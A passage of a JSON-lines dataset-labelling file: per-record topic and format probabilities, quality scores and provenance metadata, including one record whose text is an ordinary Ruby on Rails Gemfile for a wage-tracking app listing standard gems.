2.595084245938531e-05, "Education & Careers": 3.495487767599444e-05, "Entertainment & Media": 0.00019073598617821435, "Fashion & Beauty": 1.7568263392056756e-05, "Business, Economics & Finance": 4.194439278919763e-05, "Food & Dining": 1.7976197503535376e-05, "Games & Gaming": 0.0033486081188977787, "Electronics & Hardware": 3.648366571816629e-05, "Health, Healthcare & Wellness": 1.6168343911817564e-05, "History & Geography": 2.3099048684330425e-05, "Home, Pets & Hobbies": 1.7600906123152613e-05, "Industry & Production": 1.8683341115575376e-05, "Language, Literature & Philosophy": 3.200680470520809e-05, "Politics & Government": 1.7468323904230236e-05, "Religion & Spirituality": 2.935440550335165e-05, "Science, Mathematics & Engineering": 5.047933515630849e-05, "Relationships & Community": 0.000686545119095164, "Software Usage & Applications": 0.0021572456548322743, "Programming & Software Engineering": 0.992909553152972, "Sports & Fitness": 3.6885817667774035e-05, "Vehicles & Transportation": 1.3877297259529787e-05, "Travel & Tourism": 3.211718648944133e-05, "Other / Uncovered Subject": 0.00013515355727724543, "Unknown / Insufficient Content": 3.9902538224956735e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0005805283869224747, "Art & Design": 0.00030652059448571273, "Law & Crime": 0.000344084395148318, "Education & Careers": 0.000263589300274649, "Entertainment & Media": 0.002734918390578443, "Fashion & Beauty": 0.00015446108025544538, "Business, Economics & Finance": 0.00035476650946026083, "Food & Dining": 0.00011497986979275491, "Games & Gaming": 0.019218300713100465, "Electronics & Hardware": 0.00020690821371825322, "Health, Healthcare & Wellness": 0.00012445093715827475, "History & Geography": 0.00015398579506452185, "Home, Pets & Hobbies": 0.00012527238937276328, "Industry & Production": 0.00010519186093369481, "Language, Literature & Philosophy": 0.00016302645590236705, "Politics & Government": 0.00015629210282509416, "Religion & Spirituality": 0.00016807439468489093, "Science, Mathematics & Engineering": 0.00023599999736618595, "Relationships & Community": 0.003215071281398378, "Software Usage & Applications": 0.012147909350998746, "Programming & Software Engineering": 0.012321255056956568, "Sports & Fitness": 0.00015086515147891578, "Vehicles & Transportation": 6.16260298626592e-05, "Travel & Tourism": 0.00023373951526095365, "Other / Uncovered Subject": 0.0004187311023656061, "NONE": 0.9459394511246336}}, "probability_diagnostics": {"primary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "code_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 12222, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 12222, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:31:12.302501+00:00", "scoring_key_slot": "primary", "dataset_uid": "f0d9085b-1ea5-42b9-9a2b-8241f6bb068a", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "233fcc324387cc8110f6010933e4c1d87a0044b6c95fca0644df8e53d8934e81", "source_metadata": {"uuid": "f0d9085b-1ea5-42b9-9a2b-8241f6bb068a", "repo_name": "discordrb/discordrb", "relative_path": "lib/discordrb/api/channel.rb", "category": "TOOL", "algo_rel_score": 0.7698798775672913, "quality_score": 6.34700870513916, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 3533, "repo_created_at": "2015-08-18T16:51:30.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 691, "forks": 152, "issues": 24, "pull_requests": 35}, "file_meta": {"content_id": "b9e8b87e49d0b98b49a5ed2e6fb374fc15930629", "size_bytes": 14048, "file_timestamp": 1610615183, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "777ccef511cadd3f4363f24fc164177bc6ff5406"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 3533, "repo_created_at": "2015-08-18T16:51:30.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 691, "forks": 152, "issues": 24, "pull_requests": 35}, "file_meta": {"content_id": "b9e8b87e49d0b98b49a5ed2e6fb374fc15930629", "size_bytes": 14048, "file_timestamp": 1610615183, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "777ccef511cadd3f4363f24fc164177bc6ff5406", "url": "https://github.com/discordrb/discordrb/blob/777ccef511cadd3f4363f24fc164177bc6ff5406/lib/discordrb/api/channel.rb"}, "gpt4o_tokens": 3510, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.296290294691572, "noise_severity": 0.05233900735615049, "missing_content_severity": 0.011755202549384367, "factual_density": 3.5472456589989756, "pretraining_utility": 0.5531594583479869, "math_density": 0.01565951525837167, "code_density": 3.925234043139193, "reasoning_density": 0.19452186202132557, "education_level": 2.329381721490092, "creative_writing_quality": -0.1749897741103926}, "score_applicability": {"education_level": 0.9990102254765085, "creative_writing_quality": 0.0005180271203911522}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/River-Ye/oh_my_wage/blob/6b44f3f87efe65460a465f48222affae5ad8a7ea/Gemfile", "id": "ruby-0-eaa2c691d16a1cdc2627986f08a48616", "text": "# msource 'https://rubygems.org'\n# git_source(:github) { |repo| \"https://github.com/#{repo}.git\" }\nsource 'https://rubygems.org'\nruby '2.6.3'\n\n# Bundle edge Rails instead: gem 'rails', github: 'rails/rails'\ngroup :production do\n gem 'wkhtmltopdf-binary'\n # gem 'wkhtmltopdf-heroku', '2.12.5.0'\nend\ngem \"chartkick\"\ngem 'groupdate'\ngem 'wicked_pdf'\ngem 'rails', '~> 5.2.3'\n# Use sqlite3 as the database for Active Record\n# gem 'sqlite3'\ngem 'pg', '~> 1.1', '>= 1.1.4'\n# Use Puma as the app server\ngem 'puma', '~> 4.3'\n# Use SCSS for stylesheets\ngem 'sass-rails', '~> 5.0'\n# Use Uglifier as compressor for JavaScript assets\ngem 'uglifier', '>= 1.3.0'\n# See https://github.com/rails/execjs#readme for more supported runtimes\n# gem 'mini_racer', platforms: :ruby\ngem 'gmaps4rails'\ngem 'geocoder'\ngem \"figaro\"\n# Use CoffeeScript for .coffee assets and views\ngem 'coffee-rails', '~> 4.2'\n# Turbolinks makes navigating your web application faster. Read more: https://github.com/turbolinks/turbolinks\ngem 'turbolinks', '~> 5'\n# Build JSON APIs with ease. Read more: https://github.com/rails/jbuilder\ngem 'jbuilder', '~> 2.5'\n# Use Redis adapter to run Action Cable in production\n# gem 'redis', '~> 4.0'\n# Use ActiveModel has_secure_password\n# gem 'bcrypt', '~> 3.1.7'\n\n# Use ActiveStorage variant\n# gem 'mini_magick', '~> 4.8'\n\n# Use Capistrano for deployment\n# gem 'capistrano-rails', group: :development\n\n# Reduces boot times through caching; required in config/boot.rb\ngem 'bootsnap', '>= 1.1.0', require: false\ngem 'bootstrap', '~> 4.3', '>= 4.3.1'\ngem 'kaminari', '~> 1.2'\ngem 'bootstrap4-kaminari-views', '~> 1.0', '>= 1.0.1'\ngem 'jquery-rails', '~> 4.3', '>= 4.3.5'\ngem 'simple_form', '~> 5.0'\ngem 'devise', '~> 4.7', '>= 4.7.1'\ngem 'faker', '~> 2.4'\ngem 'factory_bot_rails', '~> 5.0', '>= 5.0.2'\ngem 'pundit', '~> 2.1'\ngem 'cocoon', '~> 1.2', '>= 1.2.14'\ngem 'bootstrap-datepicker-rails', '~> 1.8', '>= 1.8.0.1'\ngem 'friendly_id', '~> 5.2.4'\ngem 'rails-i18n'\ngem 'devise-i18n'\ngem 'devise-i18n-views'\ngem 'font-awesome-rails'\ngem 'enum_help'\ngem 'pry-rails'\n# 讓 rails c 變好看,也能使用 ap method\ngem 'awesome_print', '~> 1.8'\n\ngroup :development, :test do\n # Call 'byebug' anywhere in the code to stop execution and get a debugger console\n gem 'byebug', platforms: [:mri, :mingw, :x64_mingw]\n gem 'hirb-unicode', '~> 0.0.5'\n gem 'rspec-rails', '~> 3.4', '>= 3.4.2'\nend\n\ngroup :development do\n # Access an interactive console on exception pages or by calling 'console' anywhere in the code.\n gem 'web-console', '>= 3.3.0'\n gem 'listen', '>= 3.0.5', '< 3.2'\n gem 'wkhtmltopdf-binary'\n # Spring speeds up development by keeping your application running in the background. Read more: https://github.com/rails/spring\n gem 'spring'\n gem 'spring-watcher-listen', '~> 2.0.0'\nend\n\ngroup :test do\n # Adds support for Capybara system testing and selenium driver\n gem 'capybara', '>= 2.15'\n gem 'selenium-webdriver'\n # Easy installation and use of chromedriver to run system tests with Chrome\n gem 'chromedriver-helper'\nend\n\n# Windows does not include zoneinfo files, so bundle the tzinfo-data gem\ngem 'tzinfo-data', platforms: [:mingw, :mswin, :x64_mingw, :jruby]\n", "text_preview": "# msource 'https://rubygems.org' # git_source(:github) { |repo| \"https://github.com/#{repo}.git\" } source 'https://rubygems.org' ruby '2.6.3' # Bundle edge Rails instead: gem 'rails', github: 'rails/rails' group :production do gem 'wkhtmlto", "input_sha256": "d0c2e4d8c950c0663f08b00c36e4c0773a65b2d63ed8c33c4677809880d96ffc", "text_sha256": "eaa2c691d16a1cdc2627986f08a486160fe2fc93b27c36a981c5953cc14eb139", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16040, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 0, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 0.841767167729216, "noise_severity": 0.3383307509309445, "missing_content_severity": 0.028378715326170652, "factual_density": 3.398724280917302, "pretraining_utility": -0.06418858746946182, "math_density": 0.0037577104531565765, "code_density": 3.420954862162828, "reasoning_density": 0.10736965542288084, "education_level": 2.0602640211277854, "creative_writing_quality": -0.2902007089673414}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.06011493489179598, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9264748058105032, "secondary": 0.8431226602291059, "tertiary": 0.9058512879422841, "structured_records": 0.5747514363713716, "procedural_steps": 0.000892609181439576, "worked_solution": 7.39669004944891e-05, "contextual_dialogue": 8.013197537333853e-06, "content_quality": 0.49919580545082454, "noise_severity": 0.7180577075575463, "missing_content_severity": 0.9763510705615245, "factual_density": 0.4989369007644182, "pretraining_utility": 0.4964533106366684, "math_density": 0.9968685746223696, "code_density": 0.5174623851356894, "reasoning_density": 0.9105252871475993, "education_level": 0.65147320507671, "creative_writing_quality": 0.9993346658259237, "primary_topic": 0.9824443908121367, "secondary_topic": 0.9614401124950887}, "probability_margin": {"primary": 0.8876336878019508, "secondary": 0.7405741855265762, "tertiary": 0.852079000576202, "education_level": 0.5550004083831347, "creative_writing_quality": 0.9991882387942621, "primary_topic": 0.9718423760950214, "secondary_topic": 0.9466961330675193}, "raw_probabilities": {"primary": {"Academic Writing": 0.00013804867924548946, "Content Listing": 0.002254985661866129, "Creative Writing": 9.363102031553318e-05, "Customer Support Page": 7.456605304339863e-05, "Q&A Forum": 7.397663867490788e-05, "Discussion Thread": 6.284992362281031e-05, "Comment Section": 0.00011113843588179742, "Missing Content": 0.00013736944395626184, "Knowledge Article": 0.00030567050541347964, "Legal Notices": 0.0003821194804238435, "News Article": 4.15191724772023e-05, "Organizational Announcement": 8.217976544598822e-05, "Nonfiction Writing": 8.046915271543995e-05, "Organizational About Page": 0.00010575745761231612, "Personal About Page": 9.57705970070719e-05, "Personal Blog": 5.069787696670893e-05, "Product Page": 7.153495509802353e-05, "Spam / Ads": 7.64754762662187e-05, "Structured Data": 0.04190466776644813, "Technical Writing": 0.9295383555683989, "Transcript / Interview": 9.075769667185576e-05, "Tutorial / How-To Guide": 0.0005092701433564861, "User Reviews": 4.575347408747955e-05, "Other / Unknown": 0.02367243505500421}, "secondary": {"Academic Writing": 0.0004538541047367167, "Content Listing": 0.00278050500850467, "Creative Writing": 0.00040989438638819114, "Customer Support Page": 0.0003020734939831777, "Q&A Forum": 0.00021236485407690354, "Discussion Thread": 0.0002124690797384496, "Comment Section": 0.0003892691250992262, "Missing Content": 0.000584099186574961, "Knowledge Article": 0.0014821250953161024, "Legal Notices": 0.0005036495993612296, "News Article": 0.00026603859792076093, "Organizational Announcement": 0.0002762496160586597, "Nonfiction Writing": 0.0002810320209801719, "Organizational About Page": 0.00032643030501219666, "Personal About Page": 0.000250996774939208, "Personal Blog": 0.00026214557585128786, "Product Page": 0.00019273269957559836, "Spam / Ads": 0.00033424229280919963, "Structured Data": 0.10908503052631692, "Technical Writing": 0.029186306247016697, "Transcript / Interview": 0.00031466740261707073, "Tutorial / How-To Guide": 0.0020880703396529018, "User Reviews": 0.00014653761457663527, "NONE": 0.8496592160528931}, "tertiary": {"Academic Writing": 0.0002493337242518472, "Content Listing": 0.004019771506460878, "Creative Writing": 0.00025440819846204906, "Customer Support Page": 0.00027736315928881286, "Q&A Forum": 0.00011525314564158662, "Discussion Thread": 0.00013666263664306676, "Comment Section": 0.0002667409776817969, "Missing Content": 0.00045099296043051024, "Knowledge Article": 0.0023517651152544683, "Legal Notices": 0.0005027245136348896, "News Article": 0.00016657866380363258, "Organizational Announcement": 0.0001710146947078184, "Nonfiction Writing": 0.00019897499030001081, "Organizational About Page": 0.00024536565021600955, "Personal About Page": 0.00014823897312396685, "Personal Blog": 0.0001507773007464469, "Product Page": 0.00013259528907233307, "Spam / Ads": 0.00020464714657845754, "Structured Data": 0.05769515036848698, "Technical Writing": 0.01814143100750728, "Transcript / Interview": 0.00017364757707329656, "Tutorial / How-To Guide": 0.004077676396615478, "User Reviews": 9.473505932937443e-05, "NONE": 0.9097741509446889}, "structured_records": {"false": 0.4252485636286284, "true": 0.5747514363713716}, "procedural_steps": {"false": 0.9991073908185604, "true": 0.000892609181439576}, "worked_solution": {"false": 0.9999260330995056, "true": 7.39669004944891e-05}, "contextual_dialogue": {"false": 0.9999919868024627, "true": 8.013197537333853e-06}, "content_quality": {"-2": 0.012980266730712727, "-1": 0.04664365370420162, "0": 0.2473708252643559, "1": 0.47163915370661663, "2": 0.22136610059411324}, "noise_severity": {"0": 0.720242947691851, "1": 0.23493173091531344, "2": 0.03485769763920232, "3": 0.006186870277305788, "4": 0.0037807534763272515}, "missing_content_severity": {"0": 0.980182521081308, "1": 0.013672774719082832, "2": 0.004363938342655713, "3": 0.0011449995060374353, "4": 0.0006357663509160223}, "factual_density": {"0": 0.00403997581896193, "1": 0.009977127823055716, "2": 0.12019510353444197, "3": 0.31479422526879924, "4": 0.5509935675547412}, "pretraining_utility": {"-2": 0.02467107930067306, "-1": 0.28488014875138373, "0": 0.44799306801835836, "1": 0.21487768797590193, "2": 0.02757801595368305}, "math_density": {"0": 0.9971511109612122, "1": 0.002410906556776801, "2": 0.00016076549731729672, "3": 8.359503702905447e-05, "4": 0.0001936219476645046}, "code_density": {"0": 0.0024916037281380596, "1": 0.007899824511099959, "2": 0.11723791745244562, "3": 0.31090341448642933, "4": 0.561467239821887}, "reasoning_density": {"0": 0.9018777264498314, "1": 0.09071927895720053, "2": 0.006052411763392158, "3": 0.0008567783794074678, "4": 0.0004938044501683968}, "education_level": {"none": 0.004891700060538242, "0": 0.005877582715847116, "1": 0.11101814569830276, "2": 0.7095610042305917, "3": 0.15456059584745693, "4": 0.014090971447263173}, "creative_writing_quality": {"not_applicable": 0.9994455548549364, "-2": 7.838343114923048e-05, "-1": 0.00012575721936839804, "0": 0.00025731606067429106, "1": 6.435316025745249e-05, "2": 2.8635273614225077e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 6.400816933938358e-05, "Art & Design": 0.00015553125381741106, "Law & Crime": 8.621446447670174e-05, "Education & Careers": 0.0001750914326012851, "Entertainment & Media": 6.247055738654888e-05, "Fashion & Beauty": 0.00010969598121068171, "Business, Economics & Finance": 0.0012590831569835432, "Food & Dining": 0.00013518306179927168, "Games & Gaming": 0.00024334865903854303, "Electronics & Hardware": 0.0002446509410279329, "Health, Healthcare & Wellness": 8.825683526584275e-05, "History & Geography": 5.85239682577592e-05, "Home, Pets & Hobbies": 9.436632674546875e-05, "Industry & Production": 7.411989046843423e-05, "Language, Literature & Philosophy": 0.00012151268023140358, "Politics & Government": 5.791155191330411e-05, "Religion & Spirituality": 6.608943355563506e-05, "Science, Mathematics & Engineering": 0.00019643309873508313, "Relationships & Community": 6.492732899631973e-05, "Software Usage & Applications": 0.011277230455110138, "Programming & Software Engineering": 0.9831196065501315, "Sports & Fitness": 0.00011258268839408559, "Vehicles & Transportation": 6.666398843350824e-05, "Travel & Tourism": 0.00011695342802131082, "Other / Uncovered Subject": 0.0014086008935373798, "Unknown / Insufficient Content": 0.0005409432045214645}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0002472949755585696, "Art & Design": 0.0007381322451034619, "Law & Crime": 0.00026259446579143597, "Education & Careers": 0.00033071659123253797, "Entertainment & Media": 0.00020130628959466975, "Fashion & Beauty": 0.00011944498328797958, "Business, Economics & Finance": 0.0034995504176340187, "Food & Dining": 0.0002091040500867959, "Games & Gaming": 0.00030298029078593223, "Electronics & Hardware": 0.00030243813861646795, "Health, Healthcare & Wellness": 0.00013394322306913963, "History & Geography": 0.00010117755724691578, "Home, Pets & Hobbies": 0.00010057374395100493, "Industry & Production": 8.525503078811684e-05, "Language, Literature & Philosophy": 0.00013131263496921224, "Politics & Government": 0.0001323272619982011, "Religion & Spirituality": 0.00011991476490540626, "Science, Mathematics & Engineering": 0.00022107989925662425, "Relationships & Community": 9.550150434312737e-05, "Software Usage & Applications": 0.0162270520239121, "Programming & Software Engineering": 0.012768099661873986, "Sports & Fitness": 0.0001258614375710865, "Vehicles & Transportation": 8.187363346471124e-05, "Travel & Tourism": 0.00015778011917764182, "Other / Uncovered Subject": 0.00038149996434942094, "NONE": 0.9629231850914314}}, "probabilities": {"primary": {"Academic Writing": 0.00013804867924548952, "Content Listing": 0.0022549856618661298, "Creative Writing": 9.36310203155332e-05, "Customer Support Page": 7.456605304339866e-05, "Q&A Forum": 7.397663867490791e-05, "Discussion Thread": 6.284992362281034e-05, "Comment Section": 0.00011113843588179746, "Missing Content": 0.0001373694439562619, "Knowledge Article": 0.00030567050541347975, "Legal Notices": 0.0003821194804238436, "News Article": 4.1519172477202313e-05, "Organizational Announcement": 8.217976544598825e-05, "Nonfiction Writing": 8.046915271543998e-05, "Organizational About Page": 0.00010575745761231616, "Personal About Page": 9.577059700707192e-05, "Personal Blog": 5.069787696670894e-05, "Product Page": 7.153495509802356e-05, "Spam / Ads": 7.647547626621873e-05, "Structured Data": 0.04190466776644814, "Technical Writing": 0.9295383555683993, "Transcript / Interview": 9.075769667185578e-05, "Tutorial / How-To Guide": 0.0005092701433564863, "User Reviews": 4.575347408747956e-05, "Other / Unknown": 0.02367243505500422}, "secondary": {"Academic Writing": 0.0004538541047367167, "Content Listing": 0.00278050500850467, "Creative Writing": 0.00040989438638819114, "Customer Support Page": 0.0003020734939831777, "Q&A Forum": 0.00021236485407690354, "Discussion Thread": 0.0002124690797384496, "Comment Section": 0.0003892691250992262, "Missing Content": 0.000584099186574961, "Knowledge Article": 0.0014821250953161024, "Legal Notices": 0.0005036495993612296, "News Article": 0.00026603859792076093, "Organizational Announcement": 0.0002762496160586597, "Nonfiction Writing": 0.0002810320209801719, "Organizational About Page": 0.00032643030501219666, "Personal About Page": 0.000250996774939208, "Personal Blog": 0.00026214557585128786, "Product Page": 0.00019273269957559836, "Spam / Ads": 0.00033424229280919963, "Structured Data": 0.10908503052631692, "Technical Writing": 0.029186306247016697, "Transcript / Interview": 0.00031466740261707073, "Tutorial / How-To Guide": 0.0020880703396529018, "User Reviews": 0.00014653761457663527, "NONE": 0.8496592160528931}, "tertiary": {"Academic Writing": 0.00024933372425184726, "Content Listing": 0.0040197715064608786, "Creative Writing": 0.0002544081984620491, "Customer Support Page": 0.0002773631592888129, "Q&A Forum": 0.00011525314564158663, "Discussion Thread": 0.00013666263664306678, "Comment Section": 0.00026674097768179697, "Missing Content": 0.0004509929604305103, "Knowledge Article": 0.0023517651152544687, "Legal Notices": 0.0005027245136348897, "News Article": 0.0001665786638036326, "Organizational Announcement": 0.00017101469470781844, "Nonfiction Writing": 0.00019897499030001084, "Organizational About Page": 0.0002453656502160096, "Personal About Page": 0.00014823897312396688, "Personal Blog": 0.00015077730074644692, "Product Page": 0.0001325952890723331, "Spam / Ads": 0.00020464714657845756, "Structured Data": 0.057695150368486985, "Technical Writing": 0.018141431007507283, "Transcript / Interview": 0.0001736475770732966, "Tutorial / How-To Guide": 0.004077676396615479, "User Reviews": 9.473505932937444e-05, "NONE": 0.909774150944689}, "structured_records": {"false": 0.4252485636286284, "true": 0.5747514363713716}, "procedural_steps": {"false": 0.9991073908185604, "true": 0.000892609181439576}, "worked_solution": {"false": 0.9999260330995056, "true": 7.39669004944891e-05}, "contextual_dialogue": {"false": 0.9999919868024627, "true": 8.013197537333853e-06}, "content_quality": {"-2": 0.012980266730712727, "-1": 0.04664365370420162, "0": 0.2473708252643559, "1": 0.47163915370661663, "2": 0.22136610059411324}, "noise_severity": {"0": 0.7202429476918512, "1": 0.23493173091531347, "2": 0.03485769763920233, "3": 0.006186870277305789, "4": 0.003780753476327252}, "missing_content_severity": {"0": 0.980182521081308, "1": 0.013672774719082832, "2": 0.004363938342655713, "3": 0.0011449995060374353, "4": 0.0006357663509160223}, "factual_density": {"0": 0.00403997581896193, "1": 0.009977127823055716, "2": 0.12019510353444197, "3": 0.31479422526879924, "4": 0.5509935675547412}, "pretraining_utility": {"-2": 0.024671079300673054, "-1": 0.2848801487513837, "0": 0.44799306801835825, "1": 0.21487768797590187, "2": 0.027578015953683043}, "math_density": {"0": 0.9971511109612123, "1": 0.0024109065567768013, "2": 0.00016076549731729674, "3": 8.359503702905448e-05, "4": 0.00019362194766450462}, "code_density": {"0": 0.00249160372813806, "1": 0.00789982451109996, "2": 0.11723791745244563, "3": 0.3109034144864294, "4": 0.5614672398218871}, "reasoning_density": {"0": 0.9018777264498314, "1": 0.09071927895720053, "2": 0.006052411763392158, "3": 0.0008567783794074678, "4": 0.0004938044501683968}, "education_level": {"none": 0.0048917000605382425, "0": 0.005877582715847117, "1": 0.11101814569830278, "2": 0.7095610042305918, "3": 0.15456059584745696, "4": 0.014090971447263175}, "creative_writing_quality": {"not_applicable": 0.9994455548549364, "-2": 7.838343114923048e-05, "-1": 0.00012575721936839804, "0": 0.00025731606067429106, "1": 6.435316025745249e-05, "2": 2.8635273614225077e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 6.400816933938358e-05, "Art & Design": 0.00015553125381741106, "Law & Crime": 8.621446447670174e-05, "Education & Careers": 0.0001750914326012851, "Entertainment & Media": 6.247055738654888e-05, "Fashion & Beauty": 0.00010969598121068171, "Business, Economics & Finance": 0.0012590831569835432, "Food & Dining": 0.00013518306179927168, "Games & Gaming": 0.00024334865903854303, "Electronics & Hardware": 0.0002446509410279329, "Health, Healthcare & Wellness": 8.825683526584275e-05, "History & Geography": 5.85239682577592e-05, "Home, Pets & Hobbies": 9.436632674546875e-05, "Industry & Production": 7.411989046843423e-05, "Language, Literature & Philosophy": 0.00012151268023140358, "Politics & Government": 5.791155191330411e-05, "Religion & Spirituality": 6.608943355563506e-05, "Science, Mathematics & Engineering": 0.00019643309873508313, "Relationships & Community": 6.492732899631973e-05, "Software Usage & Applications": 0.011277230455110138, "Programming & Software Engineering": 0.9831196065501315, "Sports & Fitness": 0.00011258268839408559, "Vehicles & Transportation": 6.666398843350824e-05, "Travel & Tourism": 0.00011695342802131082, "Other / Uncovered Subject": 0.0014086008935373798, "Unknown / Insufficient Content": 0.0005409432045214645}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00024729497555856964, "Art & Design": 0.000738132245103462, "Law & Crime": 0.000262594465791436, "Education & Careers": 0.000330716591232538, "Entertainment & Media": 0.00020130628959466978, "Fashion & Beauty": 0.0001194449832879796, "Business, Economics & Finance": 0.003499550417634019, "Food & Dining": 0.00020910405008679593, "Games & Gaming": 0.0003029802907859323, "Electronics & Hardware": 0.000302438138616468, "Health, Healthcare & Wellness": 0.00013394322306913966, "History & Geography": 0.00010117755724691579, "Home, Pets & Hobbies": 0.00010057374395100494, "Industry & Production": 8.525503078811686e-05, "Language, Literature & Philosophy": 0.00013131263496921227, "Politics & Government": 0.00013232726199820114, "Religion & Spirituality": 0.00011991476490540627, "Science, Mathematics & Engineering": 0.00022107989925662427, "Relationships & Community": 9.550150434312738e-05, "Software Usage & Applications": 0.016227052023912104, "Programming & Software Engineering": 0.012768099661873988, "Sports & Fitness": 0.00012586143757108652, "Vehicles & Transportation": 8.187363346471125e-05, "Travel & Tourism": 0.00015778011917764185, "Other / Uncovered Subject": 0.000381499964349421, "NONE": 0.9629231850914315}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999997, "mass_delta": -3.3306690738754696e-16, "missing_mass": 3.3306690738754696e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, 